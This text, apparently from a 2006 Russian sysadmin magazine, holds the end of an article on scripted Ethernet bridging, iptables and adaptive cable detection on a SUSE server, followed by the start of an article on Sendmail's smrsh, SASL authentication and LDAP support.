Этот скрипт поместит в каждую цепочку разрешение для трафика через lo, явное протоколирование и уничто-жение всего остального трафика, и поменяет политики на разрешительные. Сохранение политики DROP не поз-волит с помощью анализа логов понять причину непра-вильной работы сети в случае ошибок в настройке сете-вого экрана. А так, если уничтожение пакетов происходит явным образом, можно обнаружить, куда исчезает тра-фик. Скрипты являются частью системы управления се-тевым экраном, которая здесь не описана. Разделение их на два независимых файла сделано для того, чтобы мож-но было каждой функцией воспользоваться по отдельнос-ти. Например, fw-init просто очищает все настройки iptables и блокирует трафик.

Ну и напоследок чрезвычайно простая программка fixudev, удаляющая все строки в настройках udev, изменяю-щие имена в те, что используются в схеме виртуализации:

Такой скрипт, конечно же, может испортить настройку нового сетевого интерфейса, произведенную через YaST, но он не позволит разрушить уже созданную сетевую на-стройку из-за конфликта имен.

В точке 2 (см. рис. 3) отработает boot.udev, который по стандартным зависимостям выполняется после boot.local, и настроит необходимое для работы службы udev.

И теперь в точке 3 (см. рис. 3) все готово для создания виртуальных устройств сетевых мостов. Этим будет за-ниматься специальный стартовый скрипт bridgeprep. Пол-ный его текст, точно так же, как тексты всех используемых здесь программ, размещается в прилагаемом архиве [3]. Все стартовые скрипты SUSE пишутся согласно стандарт-ному шаблону /etc/init.d/skeleton. Поэтому отмечу лишь ак-туальные и системно-зависимые части.

Во-первых, в самом начале создается управляющая секция согласно LSB:

Здесь задается специальный идентификатор – bridgeprep, который позволит ссылаться на этот скрипт из управляющих секций других скриптов, далее указывается очередность – после boot.udev, и уровни выполнения, в которые скрипт включается по умолчанию. Если скрипт с такой управляю-щей секцией установить командой «chkconfig bridgeprep on», то он будет включен в уровни 2, 3, 5 на любое свободное место очередности в стартовой последовательности пос-ле boot.udev, а в стоповой – до boot.udev.

Во-вторых, проверяется программное окружение и на-страиваются внутренние переменные:

#!/bin/shiptables -Fiptables -t nat -Fiptables -t mangle -Fiptables -Xiptables -t nat -Xiptables -t mangle -Xiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP

Рисунок 3. Стартовая последовательность

#!/bin/sh

IPT=$(which iptables)LIST1=("-A OUTPUT" "-A INPUT" "-A FORWARD" "-t nat ↵ -A POSTROUTING")LIST2=("-o" "-i" "-i" "-o")LIST3=("OUTPUT" "INPUT" "FORWARD" "POSTROUTING")SIZE=4IF=lo

I=0while [ "$I" -lt "$SIZE" ] ; do J=${LIST1[$I]} K=${LIST2[$I]} L=${LIST3[$I]} $IPT $J $K $IF -j ACCEPT $IPT $J -j LOG --log-prefix "main $L DROP " ↵ --log-level notice $IPT $J -j DROP I=$((I+1))done$IPT -P INPUT ACCEPT$IPT -P OUTPUT ACCEPT$IPT -P FORWARD ACCEPT

#!/bin/shN=/etc/udev/rules.d/30-net_persistent_names.rulesT=/tmp/30-net_persistent_names.rules.$$cat $N | grep -v "k eth" >$Tmv $T $N

### BEGIN INIT INFO # Provides: bridgeprep # Required-Start: boot.udev # Required-Stop: boot.udev # Default-Start: 2 3 5 # Default-Stop: # Short-Description: Ethernet bridge # Description: Start Bridge to allow configure Bridge device ### END INIT INFO

22


Отсутствие brctl или собственных управляющих файлов скрипта приведет к аварийному завершению его работы. В этом же фрагменте производится чтение управляющего файла, который стандартно располагается в /etc/sysconfig c совершенно неоригинальным именем bridge и представ-ляет собой просто список переменных с присваиваемыми им значениями, заданный в формате командной оболочки bash. Это тоже совершенно стандартное решение для по-добных системных параметров, и их задание и модифика-цию можно производить как из консоли с помощью редак-тора, так и используя оснастку в YaST. Содержание файла /etc/sysconfig/bridge будем рассматривать синхронно с ко-дом, его использующим.

В-третьих, небольшая характерная для SUSE «косме-тическая добавка»:

Это позволит отражать результат работы скрипта в про-токоле так, как принято для скриптов SUSE.

Ну и, наконец, актуальная часть. Рассмотрим только стар-товую ветку оператора case. Все остальное работает точно таким же образом. Вот часть кода, отвечающего за старт:

Предполагаю, что вы знакомы с синтаксисом языка сценариев bash, если нет, то подробности можно почерп-нуть в отличном руководстве [4]. В указанном программном фрагменте используются косвенные ссылки. Сначала в пе-ременной BRIDGE_LIST задается список сетевых мостов, которые будут созданы, например, так:

Переменная $i «пробегает» в цикле все значения из это-го списка и применяется для последовательного создания

всех устройств в команде brctl addbr $i. Дополнительно для каждого сетевого моста можно задать несколько парамет-ров в формате BRIDGE_парамет_имя, например, так:

Если параметр определен в файле конфигурации /etc/sysconfig/bridge, то производится его настройка для со-ответствующего виртуального устройства. Поскольку все наши сетевые мосты будут использоваться исключитель-но как средства виртуализации, то представленные выше значения для FD, HELLO и STP, а именно 0,0 и off, надо ука-зать для каждого сетевого моста в обязательном порядке.

Как видите, все очень просто. Новый стартовый скрипт надо установить принятым в SUSE способом:

После выполнения данного скрипта в процессе старта системы будут созданы сетевые мосты, и их можно будет «поднять», как и другие сетевые устройства, с помощью стандартного скрипта network, на рис. 3 пункт 4. Но надо непременно указать, чтобы скрипт network выполнялся пос-ле скрипта bridgeprep. Для этого в дистрибутивном скрипте подправим одну строку в управляющей секции LSB:

где укажем, что работа скрипта network теперь зависит еще и от bridgeprep. Таким образом, при очередной перенастрой-ке местоположения network в стартовой последовательнос-ти «chkconfig network off : chkconfig network on», этот скрипт займет правильное положение согласно рис. 3.

Если до запуска network в основном происходит на-стройка локальных сервисов, то после network будут за-пущены все сетевые устройства независимо от состояния внешних линий, и можно смело запускать также и сете-вые сервисы... – все равно ни один из них не будет досту-пен снаружи. Полностью сервер подключится к сети лишь после отработки скрипта bridgeup (пункт 5, рис. 3). Этот скрипт, отмеченный на рисунке голубым контуром, явля-ется нестандартным дополнением и построен аналогично рассмотренному ранее bridgeprep. Но у него уже иная стар-товая зависимость:

И, конечно же, иной алгоритм работы. Этот скрипт про-изводит сборку сетевых мостов, то есть подключение к ним физических устройств. Полностью его работу рассмотрим в следующем разделе, а сейчас приведу лишь фрагмент, производящий статическую сборку:

BRIDGE_LIST="eth0 eth1 eth2 eth3"

BRIDGE_FD_eth0=0 BRIDGE_HELLO_eth0=0 BRIDGE_STP_eth0=off

# cp bridgeprep /etc/init.d# ln –s /etc/init.d/bridgeprep /sbin/rcbridgeprep# chkconfig bridgeprep on

# Required-Start: $local_fs bridgeprep

# Required-Start: random bridgeprep network

for i in ${BRIDGE_LIST} ; do eval j=\$BRIDGE_DEVS_$i if [ "1$j" != "1" ] ; then # static device list for k in $j ; do [ "1$k" != "1" ] && {

# Check for missing binaries# (stale symlinks should not happen) BRIDGE_BIN=/sbin/brctl test -x $BRIDGE_BIN || ( echo "not found $BRIDGE_BIN" ; ↵ exit 5 ) # Check for existence of needed config file and read itBRIDGE_CONFIG=/etc/sysconfig/bridgetest -r $BRIDGE_CONFIG || ↵ ( echo "not found $BRIDGE_CONFIG" ; exit 6 ) . $BRIDGE_CONFIG

# Shell functions sourced from /etc/rc.status: . /etc/rc.status # Reset status of this service rc_reset

case "$1" in start) echo "Starting bridge " for i in ${BRIDGE_LIST} ; do $BRIDGE_BIN addbr $i P="BRIDGE_FD_$i" ; P=${!P} ; [ "1$P" != "1" ] ↵ && $BRIDGE_BIN setfd $i $P P="BRIDGE_HELLO_$i" ; P=${!P} [ "1$P" != "1" ] && $BRIDGE_BIN sethello $i $P P="BRIDGE_STP_$i" ; P=${!P} ; [ "1$P" != "1" ] ↵ && $BRIDGE_BIN stp $i $P done $BRIDGE_BIN show echo -n # Remember status and be verbose rc_status -v ;;

23№8, август 2006


Здесь все очевидно – если надо включить некоторые устройства в нужный мост, то в /etc/sysconfig/bridge запи-сывается:

И два физических интерфейса с именем hweth0 и hweth2 будут добавлены командой brctl addif к мосту eth0. Этот скрипт тоже должен быть установлен тем же спосо-бом, что и предыдущий.

Подведем итоги. Цена всей доработки стартовой схе-мы, как и обещано, два нестандартных скрипта и неболь-шая правка в network. После этого все начинает функцио-нировать по-новому, так, как планировалось в [1].

Отдельно опишу, как решаются проблемы с настрой-кой сетевых экранов. Итак, после boot.local во всех цепоч-ках уничтожаются все пакеты кроме следующих через lo. И в промежутке от пункта 1 и вплоть до пункта 5 на рис. 3 можно делать с сетевым экраном что угодно. Это никак не от-разится на работе сервера и его служб, если все реальные сетевые устройства настроены как 0.0.0.0, а все виртуальные еще не подключены ни к одному реальному. Поэтому пред-лагается настройки сетевого экрана выполнять для каждого интерфейса синхронно с его включением скриптом network, а точнее, программой ifup. Как уже было написано в начале, в каждый файл параметров сетевого интерфейса добавля-ются дополнительные настройки, например:

И соответствующие скрипты будут вызываться на вы-полнение сразу после поднятия интерфейса и после его от-ключения. Сам сетевой экран надо строить по схеме, ана-логичной используемой для устройства lo:1. Создаются подцепочки для каждой основной цепоч-

ки iptables. Например inputeth0 для INPUT и устройства eth0.

2. Затем они наполняются нужными правилами, заверша-емыми правилом с целью DROP.

3. И лишь после того в начало основной цепочки добав-ляется переход на созданный фильтр с квалификато-ром (опцией, фильтрующей трафик по принадлежнос-ти к интерфейсу).

Подобная схема полностью исключает возможнос-ти конфликтной или недостаточной фильтрации, так как за каждый интерфейс отвечает лишь одно правило в ос-новной цепочке и собственная подцепочка фильтра, за-вершаемая правилом с целью DROP, то есть не теряющая правила ни в каком случае.

Два последних скрипта в стартовой последователь-ности (см. рис. 3), network и bridgeup, можно останавли-вать и запускать независимо от всего остального. Но, к со-жалению, нет штатного способа указать, что перед оста-

новкой network надо остановить bridgeup и, соответствен-но, после запуска network не забыть запустить и bridgeup. А так как здесь идет речь о минимальном вмешательстве в системные скрипты, то ограничимся тем, что просто за-помним эту взаимосвязь.

Адаптивная коммутацияТеперь выполнены почти все обещания из первой части [1]. Но есть еще одно важное и пока не реализованное преиму-щество схемы виртуализации – соединение виртуальных устройств с реальными, согласно фактически произведен-ной внешней коммутации. Иначе говоря, в ходе выполне-ния bridgeup сервер должен проверить соответствие реаль-ных подключений планируемым. Разберем это на конкрет-ном примере. Безусловно, пример не идеален, так как он специфичен моей практике. Но описанные методы позво-лят построить вам собственную схему и для других усло-вий работы сервера.

Далее все буду описывать согласно рис. 4. Итак, есть сервер с четырьмя сетевыми картами, названными hweth0-4. Есть три внешних кабельных подключения (ро-зовые квадраты) – локальная сеть (LOCALNET), основной ISP, подключенный через ADSL, и дополнительное под-ключение к региональной сети (MAN ISP), где провайдер использует DHCP. Внутри сервера создаются тоже четыре сетевых интерфейса (голубые квадраты). Первый – для ра-боты с локальной сетью (LOCALNET). Второй – как вирту-альная внутренняя сеть для связи виртуальных же машин (CLUSTERNET). Третий – для соединения с ADSL-модемом (ADSL ISP). И четвертый для подключения к регионально-му провайдеру (MAN ISP).

Задача заключается в том, что операционная систе-ма, стартующая на этом сервере, не «знает», как на са-

POST_UP_SCRIPT='/etc/fw/fw-on-internet'POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'

Рисунок 4. Сетевая разметка тестового сервера

BRIDGE_DEVS_eth0="hweth0 hweth2"

$BRIDGE_BIN addif $i $k BRIDGE_POOL=`remove_dev $k` } done else...

24


мом деле произведена коммутация внешних соединений, но должна это «выяснить» «на лету» и, соответственно, на-строить сетевые мосты. А иначе, спрашивается, зачем мы все это затевали?

Вся работа будет производиться в скрипте bridgeup в са-мом завершении стартовой последовательности (рис. 3). Все интерфейсы уже подняты и сетевые экраны уже на-строены (красная пунктирная линия на рис. 4). И вот те-перь вопрос – есть ли способ узнать, что «на кабеле» в та-ком состоянии, когда физические интерфейсы еще не вклю-чены в мосты?

Ну, конечно же, всем известная утилита tcpdump поз-волит «прослушать» такие интерфейсы. Если вызвать ее как «tcpdump -ln -i hweth0», то можно получить прото-кол всех «пойманных» там пакетов и по характеру тра-фика понять, какой провод воткнут в джек сетевой кар-ты hweth0. Точно так же, как это можно сделать взглядом, можно и просчитать через grep по сохраненному протоко-лу работы этой утилиты за некоторое контрольное время. Например, если мы знаем, что в локальной сети у нас ис-пользуется сетевой коммутатор, работающий по протоко-лу STP, то даже в «пустой» сети можно поймать периоди-чески рассылаемые сообщения, содержащие в расшиф-ровке tcpdump подстроку «802.1d config». Такая проверка реализована в скрипте check-tcpdump [3]. Скрипт, в свою очередь, вызывается из bridgeup сразу после приведенно-го выше фрагмента как альтернатива, вызываемая по ус-ловию else, если отсутствует строка статического зада-ния сборки моста:

Как уже видно, за эту ветку настройки отвечает специ-альная строка конфигурации сетевого моста:

Если она определена, то скрипт перебирает все устройс-тва, оставшиеся в списке незанятых (BRIDGE_POOL), и про-веряет протокол перехваченного tcpdump трафика с помо-щью check-tcpdump на совпадение с заданным образцом. Безусловно, выбор правильного и эффективного образца для сравнения всецело на совести системного администра-тора, производящего настройку, так как бывают сети с чрез-вычайно замусоренным трафиком. Например, данная стро-ка поиска работала до тех пор, пока в сети MAN не был под-ключен аналогичный коммутатор, как и в локальной сети. Тогда пришлось заменить контрольный образец на более подробный «802.1d config 8000.00:11:d8:cb:df:99.8001», со-держащий MAC-устройства. И именно по этой причине или

из-за отсутствия трафика вообще, или из-за того, что нельзя гарантированно в течение времени прослушивания полу-чить уверенный отклик, приходится прибегать к способам активного тестирования кабельных подключений.

Итак, если слушать нечего или невозможно, тогда оста-ется «спросить» у сети что-то конкретное. Как принято вы-яснять наличие или отсутствие сетевых хостов – с помо-щью icmp. Но у нас еще нет скоммутированных соедине-ний, и такое высокоуровневое средство не подходит, так как обмен посылками icmp является достаточно многоступен-чатым процессом. Нам придется выбрать что-то попроще. Самое простое – arp-запрос. Только сформировать его на-до будет не штатной утилитой, так как сервер еще реаль-но не подключен к сетевым соединениям. Для таких целей прекрасно подходит утилита nemesis [5]. Можно взять го-товый бинарный пакет [6] и установить его в систему. Arp-запрос позволит узнать о существовании в сетевой сре-де, подключенной к исследуемому интерфейсу, некоторо-го хоста, отвечающего по требуемому адресу. При этом за-прос отправляется в стиле «скажите хосту с адресом1, ка-кой физический адрес имеет хост с адресом2». Очень удоб-но то, что подобный запрос практически никогда не бло-кируется, так как протокол ARP отвечает за самое низко-уровневое взаимодействие. В терминах утилиты nemesis это выглядит так:

Вызов nemesis добавляется между запуском tcpdump и отсчетом контрольного времени. После прекращения про-слушивания надо точно также профильтровать результат расшифровки трафика tcpdump. Но только образец для по-иска будет иной, а именно «arp reply адрес2 is-as». Все это выполняется скриптом check-arp [3].

Теперь для настройки надо лишь определить хост, на-личие которого будет со всей определенностью указы-вать на нужную сетевую среду. Например, если сетевой мост eth2 должен быть подключен к модему ADSL с адре-сом 10.0.0.2 (рис. 4, зеленая стрелка), то в настройку до-бавляем строку:

Очередной фрагмент кода bridgeup, отвечающий за сле-дующую альтернативу else, вызываемую в отсутствие других настроек, проверит существование переменной BRIDGE_ARP-устройство и произведет соответствующую проверку оставшихся в списке BRIDGE_POOL-устройств в поиске подходящего:

nemesis arp -d устройство -S адрес1 -D адрес2

BRIDGE_ARP_eth2="10.0.0.1 10.0.0.2"

eval j=\$BRIDGE_ARP_$i if [ "1$j" != "1" ] ; then # check arp L="" for k in ${BRIDGE_POOL} ; do n=`${BRIDGE_CHK_ARP} $k $j | grep BINGO` [ "1$n" != "1" ] && { $BRIDGE_BIN addif $i $k L="$L $k" } done for k in $L ; do BRIDGE_POOL=`remove_dev $k`

BRIDGE_TCPDUMP_eth0="802.1d config"

eval j=\$BRIDGE_TCPDUMP_$i if [ "1$j" != "1" ] ; then # check tcpdump L="" for k in ${BRIDGE_POOL} ; do n=`${BRIDGE_CHK_TCPDUMP} $k "$j" | grep BINGO` [ "1$n" != "1" ] && { $BRIDGE_BIN addif $i $k L="$L $k" } done for k in $L ; do BRIDGE_POOL=`remove_dev $k` done else

25№8, август 2006


В нашем случае других проверок не предусматрива-ется и приведенный ваше блок закрывает все операторы if, но пытливый и изобретательный читатель может про-должить настройки, если так будет требоваться конкрет-ной задачей.

Вот как это действует на практике. После старта сис-темы, если кабельные подключения соединены соглас-но рис. 4, то запрос статуса соединения виртуальных ус-тройств покажет следующее (листинг приведен с сокра-щениями):

Интерфейс eth3 уже успел получить адрес через DHCP (и адрес, и MAC скрыты, так как их можно легко использо-вать для спуфинга в MAN). Затем изменяем коммутацию случайным образом. Чтобы система «почувствовала» это изменение, в нашем случае надо перезапустить bridgeup вручную, поскольку нам достаточно правильно настроить сеть после включения устройства. Но можно настроить пе-риодический контроль, если персонал в серверной имеет привычку к спонтанной перекоммутации кроссов.

Процесс отключения происходит совершенно безупреч-но, а вот при подключении не обнаруживается соединение с MAN, так как в используемой сети применяется контроль по MAC, а разрешенное к применению устройство hweth3 было уже задействовано для связи с локальной сетью. И те-перь уже две сетевые карты остались незадействованны-ми. Таким образом, система предотвратила недопустимое соединение.

После того как только кабели снова были возвраще-ны на старые места и перезапущен bridgeup, все пришло в норму:

ЗаключениеВот и все – запланированные цели достигнуты. Но получен-ное несколько больше простого технического приема. Таким образом создается независимая сетевая архитектура сер-вера. Или, говоря иначе, создается дополнительный слой виртуализации, что позволяет унифицировать так же и все настройки, основанные на сетевых параметрах, для систем, расположенных выше данного слоя. Максимальный выиг-рыш получается при использовании виртуальных серве-ров. Так как миграция, а также и создание, и резервирова-ние, и восстановление их требует единства внутрисерверн-ной среды. Подробнее тема сетевой архитектуры будет рас-смотрена в статьях, посвященных виртуальным серверам.

Несколько неожиданным может показаться еще один вывод. Описанное адаптивное поведение сетевой систе-мы по отношению к внешней коммутации, кроме просто-го сохранения правильных настроек сетевого экрана, мо-жет привести и к философским выводам. Если считать ли-нии коммуникации для компьютера эквивалентом органов осязания, то управление этими органами является необ-ходимым минимумом интеллектуальности. Если бы сете-вые розетки были снабжены манипуляторами, ничего бы не удивляло. Но здесь получается, что и без механическо-го приспособления компьютер под управлением Linux мо-жет «сам» выбрать правильное подключение. Иначе го-воря, может скомпенсировать ошибку оператора или тех-ника. То есть мы сделали компьютер немного умнее, «на-учив» его «видеть» и менять интерфейсное подключение программным способом.

1. Барабанов А. Современный Linux-сервер: виртуализируем се-тевые устройства. //Системный администратор, №6, 2006 г. – С. 10-17.

2. Daniel Drake. Writing udev rules – http://www.reactivated.net/writing_udev_rules.html.

3. Архив исходных текстов к статье – http://www.barabanov.ru/arts/modernserver/netsrc.tgz.

4. Advanced Bash-Scripting Guide. Искусство программирования на языке сценариев командной оболочки. Версия 2.5 (15 фев-раля 2004 г.). Автор: Mendel Cooper (thegrendel at theriver dot com). Перевод: Андрей Киселев (kis_an at mail dot ru) – http://gazette.linux.ru.net/rus/articles/abs-guide/index.html.

5. Nemesis packet injection utility – http://www.packetfactory.net/projects/nemesis.

6. Бинарная сборка nemesis для SUSE – http://www.barabanov.ru/arts/modernserver/nemesis-1.4beta3-1ab.i586.rpm.

# rcbridgeup status

Checking for service bridge runningbridge name bridge id STP enabled interfaceseth0 8000.000479661b70 no hweth1eth1 8000.000000000000 noeth2 8000.001022ff43d7 no hweth0eth3 8000.00xxxxxxxxxx no hweth3eth0 Link encap:Ethernet HWaddr 00:04:79:66:1B:70 inet addr:192.168.0.9 Bcast:192.168.0.255 Mask:255.255.255.0...eth1 Link encap:Ethernet HWaddr 00:00:00:00:00:00 inet addr:192.168.254.1 Bcast:192.168.254.255 Mask:255.255.255.0...eth2 Link encap:Ethernet HWaddr 00:10:22:FF:43:D7 inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.255.255.0...eth3 Link encap:Ethernet HWaddr 00:XX:XX:XX:XX:XX inet addr:172.16.YY.YY Bcast:172.16.255.255 Mask:255.255.0.0...

# rcbridgeup status

Disassemble bridgiesbridge name bridge id STP enabled interfaceseth0 8000.000000000000 noeth1 8000.000000000000 noeth2 8000.000000000000 noeth3 8000.000000000000 no done# rcbridgeup startAssemble bridgies eth0 eth1 eth2 eth3Hardware pool hweth0 hweth1 hweth2 hweth3bridge name bridge id STP enabled interfaceseth0 8000.00xxxxxxxxxx no hweth3eth1 8000.000000000000 noeth2 8000.0011d8956c2e no hweth2eth3 8000.000000000000 noFree NICs hweth0 hweth1 done

# rcbridgeup stop...# rcbridgeup

Assemble bridgies eth0 eth1 eth2 eth3Hardware pool hweth0 hweth1 hweth2 hweth3bridge name bridge id STP enabled interfaceseth0 8000.000479661b70 no hweth1eth1 8000.000000000000 noeth2 8000.001022ff43d7 no hweth0eth3 8000.00xxxxxxxxxx no hweth3Free NICs hweth2 done

done fi fi fi

26


Защиты не бывает многоSendmail, как было показано в предыду-щих частях статьи (№ 5, 6, 7 за 2006 г.), позволяет, используя файл aliases или пользовательские .forward-файлы, пе-ренаправлять входящие сообщения на обработку сторонними программа-ми. Сам механизм достаточно прост: письмо в исходном формате поступа-ет на стандартный вход (stdin) указан-ной программы или скрипта, который в дальнейшем занимается его обра-боткой. Несложный пример реализа-ции такого сценария на Python мож-

но найти в статье «Практикум Python: обрабатываем входящую электронную почту» (№2 за 2006 г.).

Однако здесь скрывается потенци-альная проблема безопасности – если у пользователя будет возможность са-мостоятельно указывать любые про-граммы в качестве обработчиков поч-ты, то всегда остаётся вероятность, что он воспользуется этим для несан-кционированного вызова програм-мы, к которой в нормальных условиях у него нет доступа (например, не пре-доставляется доступ к командной обо-

лочке, но есть возможность вносить изменения в .forward-файл через веб-интерфейс). Конечно, Sendmail снижа-ет до минимума негативные последс-твия этой возможности, запуская про-цесс, выполняющий такую обработ-ку, от имени пользователя-владельца .forward-файла. Но нельзя забывать, что в системе могут быть исполняе-мые файлы, на которые установлен бит suid, что в ряде случаев может привес-ти к печальным последствиям...

Для решения этой проблемы Sendmail можно настроить на работу

Как работает Sendmail? Полезные подробностиЧасть 4: Взаимодействие со сторонними программами

Гуртом і батька добре бити.

Мудрость братского народа

Как бы ни был гибок и функционален Sendmail, его возможностей не всегда хватает для решения всего многообразия задач. Но открытость ПО тем и хороша, что позволяет наращивать мощь практически без ограничений.

Сергей Супрунов

27№8, август 2006


с «ограниченной оболочкой» (restricted shell for sendmail) – smrsh. Особенностью этой оболочки является то, что она позволяет запускать программы только из своего катало-га, в системах FreeBSD по умолчанию это /usr/libexec/sm.bin (изменить можно перекомпиляцией утилиты с флагом -DSMRSH_CMDDIR).

Как это работает, лучше всего посмотреть на приме-ре (после ключа -c указывается имя выполняемой про-граммы):

Как видите, smrsh позволяет исполнять только те про-граммы, ссылки на которые (или сами двоичные файлы) размещены в /usr/libexec/sm.bin. Это же относится и к скрип-там – достаточно указать ссылку на скрипт, делать ссылку на интерпретатор не требуется. При желании вы можете ис-пользовать любое имя программы – будет использоваться имя ссылки, а не первоначальное имя «бинарника».

Чтобы Sendmail использовал для обработки перенаправ-лений эту оболочку, а не стандартную sh, добавьте в mc-файл такую строку:

Любители править cf-файл могут заменить имя програм-мы в строке Mprog, т.е. вместо «Mprog, P=/bin/sh . . . » ис-пользовать «Mprog, P=/usr/libexec/smrsh . . . ».

Вход только по пропускамЕсли для всех ваших пользователей предусматривается работа только из вашей подсети (или в крайнем случае су-

ществует ограниченный и стабильный список внешних се-тей для доступа к почте), то задача ограничения режима рет-рансляции почты, чтобы ваш MTA не стал «открытым реле-ем», решается довольно легко с помощью файла access.

Но как только у вас появляются пользователи, которым нужно обеспечить возможность работы с их электронной почтой из любой точки мира, возникает определённая про-блема. И наиболее приемлемым её решением будет исполь-зование аутентификации.

Пожалуй, самой удобной методикой для Sendmail яв-ляется использование SASL-аутентификации силами па-кета SASL-Auth. По умолчанию Sendmail во FreeBSD соби-рается без поддержки SASL, в чём можно убедиться, по-дав такую команду:

и внимательно изучив строчки «Compiled with» на предмет упоминания про SASL.

Чтобы поддержка SASL в Sendmail появилась, нужно его пересобрать. Для этого у вас должны быть исходные коды системы. Последовательность действий такова:1. Устанавливаем из портов security/cyrus-sasl2-saslauthd.

Конфигурацию можно оставить по умолчанию.2. В файле /usr/local/lib/sasl2/Sendmail.conf проверяем зна-

чение переменной pwcheck_method. По умолчанию она определена как saslauthd, что означает использование универсального демона и будет хорошим решением в большинстве случаев.

3. Редактируем /etc/make.conf, добавив туда несколько строк, которые будут использоваться при сборке сис-темных программ:

Здесь мы указываем добавлять при компиляции Sendmail данные флаги, а также сообщаем программе make пути к необходимым библиотекам.

4. Теперь пересобираем Sendmail:

Cyrus SASLМеханизм аутентификации SASL (Simple Authentication and Security Layer) использу-ется для реализации безопасной аутенти-фикации в связке с другими интернет-про-токолами. Помимо аутентификации, SASL предоставляет механизмы проверки це-лостности данных.

Одной из наиболее популярных реа-лизаций SASL является библиотека Cyrus

SASL. Будучи разработанной для нужд Cyrus IMAP Server, она широко использует-ся и для других задач, включая SMTP-ау-тентификацию.

Cyrus SASL поддерживает широ-кий набор механизмов аутентификации – CRAM-MD5, DIGEST-MD5, Kerberos, GSSAPI (спецификация Kerberos 5). При необходи-мости может быть разрешена поддержка механизмов «плоской» аутентификации,

таких как LOGIN и PLAIN, однако их реко-мендуется использовать только при рабо-те по защищённому соединению.

Для выполнения аутентификации используется входящий в состав Cyrus SASL демон saslauthd. Он умеет прово-дить проверку пароля как по собствен-ной базе, так и используя механизмы PAM, LDAP, системный файл паролей /etc/passwd, и т. д.

# pwd

/usr/libexec/sm.bin

total 0lrwxr-xr-x 1 root wheel 18 29 июн 10:13 thetest -> /home/serg/test.shlrwxr-xr-x 1 root wheel 10 29 июн 10:01 w -> /usr/bin/w

10:01AM up 20 days, 21:44, 1 user, load averages: 0.00, 0.02, 0.00USER TTY FROM LOGIN@ IDLE WHATserg p0 curs3.myserver. 8:48AM - /usr/libexec/sm.bin/w

# ls -l

# /usr/libexec/smrsh -c w

# /usr/libexec/smrsh -c who

# /usr/libexec/smrsh -c thetest

Smrsh test

/usr/libexec/smrsh: "who" not available for sendmail programs (stat failed)

FEATURE(smrsh)

$ sendmail -d0.1 -bv

# Флаги SASL для SendmailSENDMAIL_CFLAGS=-I/usr/local/include -DSASL=2SENDMAIL_LDFLAGS=-L/usr/local/libSENDMAIL_LDADD=-lsasl2# Поддержка порта smtps для sendmail (если планируется)SENDMAIL_CFLAGS+= -D_FER_SMTP_SSL

# cd /usr/src/lib/libsmutil/ # make clean && make depend && make # cd ../libsm # make clean && make depend && make # cd /usr/src/usr.sbin/sendmail # make clean && make depend && make && make install

28


Обязательно убедитесь, что предварительно установи-ли пакет cyrus-sasl (см. пункт 1), иначе получите ошибку об отсутствии нужных библиотек. Кстати, чтобы эти биб-лиотеки не приходилось отыскивать по всему диску, на-стоятельно рекомендуется ставить всё только из систе-мы портов.

Теперь в выводимой информации должно присутство-вать упоминание SASLv2:

Это означает, что осталось подкорректировать при не-обходимости конфигурацию Sendmail, и можно проверять работу системы. Первое, что может потребовать настрой-ки, это список разрешённых методов аутентификации. То, что у вас получилось сразу после перекомпиляции, мож-но узнать, подключившись с помощью telnet на 25-й порт и введя команду EHLO:

Третья с конца строка как раз и отображает поддержи-ваемые механизмы аутентификации. Изменить их список можно с помощью следующих директив:

Во второй строке перечисляются поддерживаемые ме-ханизмы вообще, в то время как первой директивой мы оп-ределяем список «доверенных» механизмов, т.е. тех, при

использовании которых будет разрешена пересылка поч-ты (relaying), даже если адрес клиента не помечен в базе access как RELAY или OK.

Ребята! Да я же свой!Иногда может возникнуть ситуация, когда ваш сервер, для того, чтобы передать куда-то сообщение, сам должен будет пройти аутентификацию. Например, это вполне обыч-ная ситуация, если ваш MTA работает исключительно че-рез сервер провайдера, а провайдер не желает тратить си-лы на добавление вашего хоста в список доверенных, на-стаивая на обязательном прохождении всеми клиентами процедуры проверки подлинности.

Для этого существует файл authinfo, который подклю-чается таким образом:

В указанном файле прописываем параметры аутенти-фикации на нужные серверы в следующем формате:

Здесь servak.de – имя удалённого сервера, которому нужно будет предоставить аутентификационную инфор-мацию. В ключе M указываются методы, которые долж-ны при этом использоваться. Не забудьте создать хэш это-го файла.

LDAP – путь к единениюВ крупных корпоративных сетях довольно часто использу-ются базы LDAP для хранения информации о пользовате-лях этих сетей. И было бы весьма разумно воспользовать-ся этим механизмом для хранения некоторой конфигура-ционной информации вашего почтового сервера.

Sendmail поддерживает возможность работы с LDAP-ба-зой, позволяя вам использовать службу каталогов вместо файлов access, aliases и т. д. Правда, так же, как и в случае с SASL, во FreeBSD он собран без поддержки LDAP. Вклю-чается эта поддержка аналогично:1. Устанавливаем из портов openldap-client или openldap-

server (если LDAP-сервера у нас ещё нет и мы хотим за-пустить его на этой же машине).

Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.220 server.ru ESMTP Sendmail 8.13.6/8.13.6; Thu, 13 Jul 2006 14:27:45 +0400 (MSD)EHLO me250-server.ru Hello localhost [127.0.0.1], pleased to meet you250-ENHANCEDSTATUSCODES250-PIPELINING250-8BITMIME250-SIZE 12500000250-DSN250-AUTH GSSAPI DIGEST-MD5 CRAM-MD5250-DELIVERBY250 HELP

TRUST_AUTH_MECH(`DIGEST-MD5 LOGIN PLAIN')dnldefine(`confAUTH_MECHANISMS', `DIGEST-MD5 LOGIN PLAIN')dnl

FEATURE(`authinfo', `hash -o /etc/mail/authinfo')

AuthInfo:servak.de "U:<username>" "I:<identity>" ↵ "P:<password>" "M:LOGIN PLAIN"

LDAPLightweight Directory Access Protocol – об-легчённый протокол доступа к каталогам – это протокол, призванный обеспечить ра-боту так называемой службы каталогов. Службы каталогов используются для цен-трализованного хранения различной ин-формации, такой как пользовательские учётные записи, адресные книги, различ-ные настройки.

Первоначально служба каталогов (оп-ределённая в протоколе X.500) была ори-ентирована на обслуживание почтовых се-тей стандарта X.400, разработанного OSI. Для доступа к этой службе использовался

протокол DAP, который и послужил основой для разработки более простого и удобно-го в работе LDAP.

Записи, хранящиеся в каталогах LDAP, представлены уникальными имена-ми (distinguished name) и рядом атрибутов, определяемых в так называемых схемах. Структура записей позволяет легко орга-низовать записи в виде дерева.

Основным преимуществом LDAP пе-ред «плоскими» файлами или реляционны-ми базами данных является ориентирован-ность на высокую скорость чтения. С учё-том очень эффективного кэширования, ис-пользование LDAP, помимо централизации

